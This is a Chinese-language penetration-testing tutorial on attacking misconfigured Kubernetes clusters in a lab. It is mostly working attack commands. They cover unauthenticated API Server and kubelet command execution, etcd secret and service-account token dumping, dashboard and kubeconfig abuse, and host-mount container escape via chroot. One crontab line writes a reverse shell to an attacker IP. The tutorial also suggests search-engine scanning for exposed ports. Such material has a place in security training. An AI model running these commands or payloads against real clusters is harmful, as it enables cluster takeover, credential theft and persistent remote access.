对Kubernetes&K8s安全及渗透

#K8S集群架构解释（见上图参考）

Kubernetes是一个开源的，用于编排云平台中多个主机上的容器化的应用，目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署，规划，更新，维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着，管理员可以加载一个微型服务，让规划器来找到合适的位置，同时，Kubernetes在系统提升工具以及人性化方面，让用户能够方便的部署自己的应用。
1、Master节点
2、Node节点
3、Pod
具体参考：https://blog.csdn.net/qq_34101364/article/details/122506768

#K8S集群攻击点(见上图参考)-重点

随着越来越多企业开始上云的步伐，在攻防演练中常常碰到云相关的场景，例：公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」，直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局，也打开了新的入侵路径，例如：
1、通过虚拟机攻击云管理平台，利用管理平台控制所有机器
2、通过容器进行逃逸，从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
3、利用KVM-QEMU/执行逃逸获取宿主机，进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多，仅有一些厂商发布过相关矩阵技术，但没有过多的细节展示，本文基于微软发布的Kubernetes威胁矩阵进行扩展，介绍相关的具体攻击方法。
详细攻击点参考：
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

API Server未授权访问&kubelet未授权访问复现

搭建环境使用3台Centos 7

https://www.jianshu.com/p/25c01cae990c
https://blog.csdn.net/fly910905/article/details/120887686

空间搜索kubernetes AND port: “8080”，可进行漏洞探测

一个集群包含三个节点，其中包括一个控制节点和两个工作节点

K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132

1、攻击8080端口：API Server未授权访问

旧版本的k8s的API Server默认会开启两个端口：8080和6443。
6443是安全端口，安全端口使用TLS加密；但是8080端口无需认证，
仅用于测试。6443端口需要认证，且有 TLS 保护。（k8s<1.16.0为旧版本）
新版本k8s默认已经不开启8080。

出现如下图就是有漏洞

漏洞成因就是有相应的配置

cd /etc/kubernetes/manifests/

• –insecure-port=8080
• –insecure-bind-address=0.0.0.0

漏洞利用先下载kubectl工具

kubectl.exe -s 192.168.139.130:8080 get nodes
kubectl.exe -s 192.168.139.130:8080 get pods
kubectl -s 192.168.139.130:8080 create -f test.yaml
kubectl -s 192.168.139.130:8080 --namespace=default exec -it test bash
echo -e “* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n” >> /mnt/etc/crontab

2、攻击6443端口：API Server未授权访问

一些集群由于鉴权配置不当，将"system:anonymous"用户绑定到"cluster-admin"用户组，从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

-创建恶意pods

https://192.168.139.130:6443/api/v1/namespaces/default/pods/
POST：{“apiVersion”:“v1”,“kind”:“Pod”,“metadata”:{“annotations”:{“kubectl.kubernetes.io/last-applied-configuration”:“{“apiVersion”:“v1”,“kind”:“Pod”,“metadata”:{“annotations”:{},“name”:“test02”,“namespace”:“default”},“spec”:{“containers”:[{“image”:“nginx:1.14.2”,“name”:“test02”,“volumeMounts”:[{“mountPath”:”/host",“name”:“host”}]}],“volumes”:[{“hostPath”:{“path”:“/”,“type”:“Directory”},“name”:“host”}]}}\n"},“name”:“test02”,“namespace”:“default”},“spec”:{“containers”:[{“image”:“nginx:1.14.2”,“name”:“test02”,“volumeMounts”:[{“mountPath”:“/host”,“name”:“host”}]}],“volumes”:[{“hostPath”:{“path”:“/”,“type”:“Directory”},“name”:“host”}]}}

-连接判断pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods

-连接执行pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test02 bash
-上述一样

3、攻击10250端口：kubelet未授权访问

注意是在pod节点中配置

https://192.168.139.130:10250/pods

漏洞原因
/var/lib/kubelet/config.yaml目录下

修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet

-利用执行命令这里需要三个参数

namespace default
pod test03
container test03

-访问获取：

https://192.168.139.132:10250/runningpods/

-执行模版：

curl -XPOST -k “https://192.168.139.132:10250/run///” -d “cmd=id”

-构造触发：

https://192.168.139.132:10250/run/default/test02/test02
curl -XPOST -k “https://192.168.139.132:10250/run/default/test02/test02” -d “cmd=id”

4、etcd未授权访问

攻击2379端口：默认通过证书认证，主要存放节点的数据，如一些token和证书。

空间搜索引擎搜

第一种：没有配置指定–client-cert-auth 参数打开证书校验，暴露在外Etcd服务存在未授权访问风险。
-暴露外部可以访问，直接未授权访问获取secrets和token利用

第二种：在打开证书校验选项后，通过本地127.0.0.1:2379可免认证访问Etcd服务，但通过其他地址访问要携带cert进行认证访问，一般配合ssrf或其他利用，较为鸡肋。
-只能本地访问，直接未授权访问获取secrets和token利用

第三种：实战中在安装k8s默认的配置2379只会监听本地，如果访问没设置0.0.0.0暴露，那么也就意味着最多就是本地访问，不能公网访问，只能配合ssrf或其他。
-只能本地访问，利用ssrf或其他进行获取secrets和token利用

配置文件：
/etc/kubernetes/manifests/etcd.yaml
复现搭建：
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
安装etcdctl：
https://github.com/etcd-io/etcd/releases
安装kubectl：https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

*复现利用：

*暴露etcd未授权->获取secrets&token->通过token访问API-Server接管
*SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管
*V2/V3版本利用参考：https://www.cnblogs.com/qtzd/p/k8s_etcd.html

利用参考：

https://www.wangan.com/p/7fy7f81f02d9563a
https://www.cnblogs.com/qtzd/p/k8s_etcd.html

V2版本利用：

直接访问http://ip:2379/v2/keys/?recursive=true ，
可以看到所有的key-value值。（secrets token）

V3版本利用：

1、连接提交测试

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 “Hello world1”
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey2 “Hello world2”
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey3 “Hello world3”

2、获取k8s的secrets：

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/

3、读取service account token:

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

4、通过token访问API-Server，获取集群的权限：

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“ey…” -n kube-system get pods

5、Dashboard未授权访问

默认端口：8001
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况：
一种是在本身就存在着不需要登录的http接口，但接口本身并不会暴露出来，如接口被暴露在外，就会导致dashboard未授权。另外一种情况则是开发嫌登录麻烦，修改了配置文件，使得安全接口https的dashboard页面可以跳过登录。

*复现利用：

*用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
*Kubernetes-dashboard绑定cluster-admin（拥有管理集群的最高权限）
1、安装：https://blog.csdn.net/justlpf/article/details/130718774
2、启动：kubectl create -f recommended.yaml
3、卸载：kubectl delete -f recommended.yaml
4、查看：kubectl get pod,svc -n kubernetes-dashboard
5、利用：新增Pod后续同前面利用一致

*找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸

apiVersion: v1
kind: Pod
metadata:
name: xiaodisec
spec:
containers:

• image: nginx name: xiaodisec volumeMounts: - mountPath: /mnt name: test-volume volumes:
• name: test-volume hostPath: path: /

6、Configfile鉴权文件泄漏

攻击者通过Webshell、Github等拿到了K8s配置的Config文件，操作集群，从而接管所有容器。K8s configfile作为K8s集群的管理凭证，其中包含有关K8s集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等)，就可以直接通过API Server接管K8s集群，带来风险隐患。用户凭证保存在kubeconfig文件中，通过以下顺序来找到kubeconfig文件：
-如果提供了–kubeconfig参数，就使用提供的kubeconfig文件
-如果没有提供–kubeconfig参数，但设置了环境变量$KUBECONFIG，则使用该环境变量提供的kubeconfig文件
-如果以上两种情况都没有，kubectl就使用默认的kubeconfig文件~/.kube/config

*复现利用：
*K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸

1、将获取到的config复制
2、安装kubectl使用config连接
安装：https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
连接：
kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
3、上传利用test.yaml创建pod
kubectl apply -f test.yaml -n default --kubeconfig=config
4、连接pod后进行容器挂载逃逸
kubectl exec -it xiaodisec bash -n default --kubeconfig=config
cd /mnt
chroot . bash

7、Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时，会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建：

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

*复现利用：
*类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
*找到暴露入口点，根据类型选择合适方案

kubectl -s http://192.168.139.130:8009 get pods -n kube-system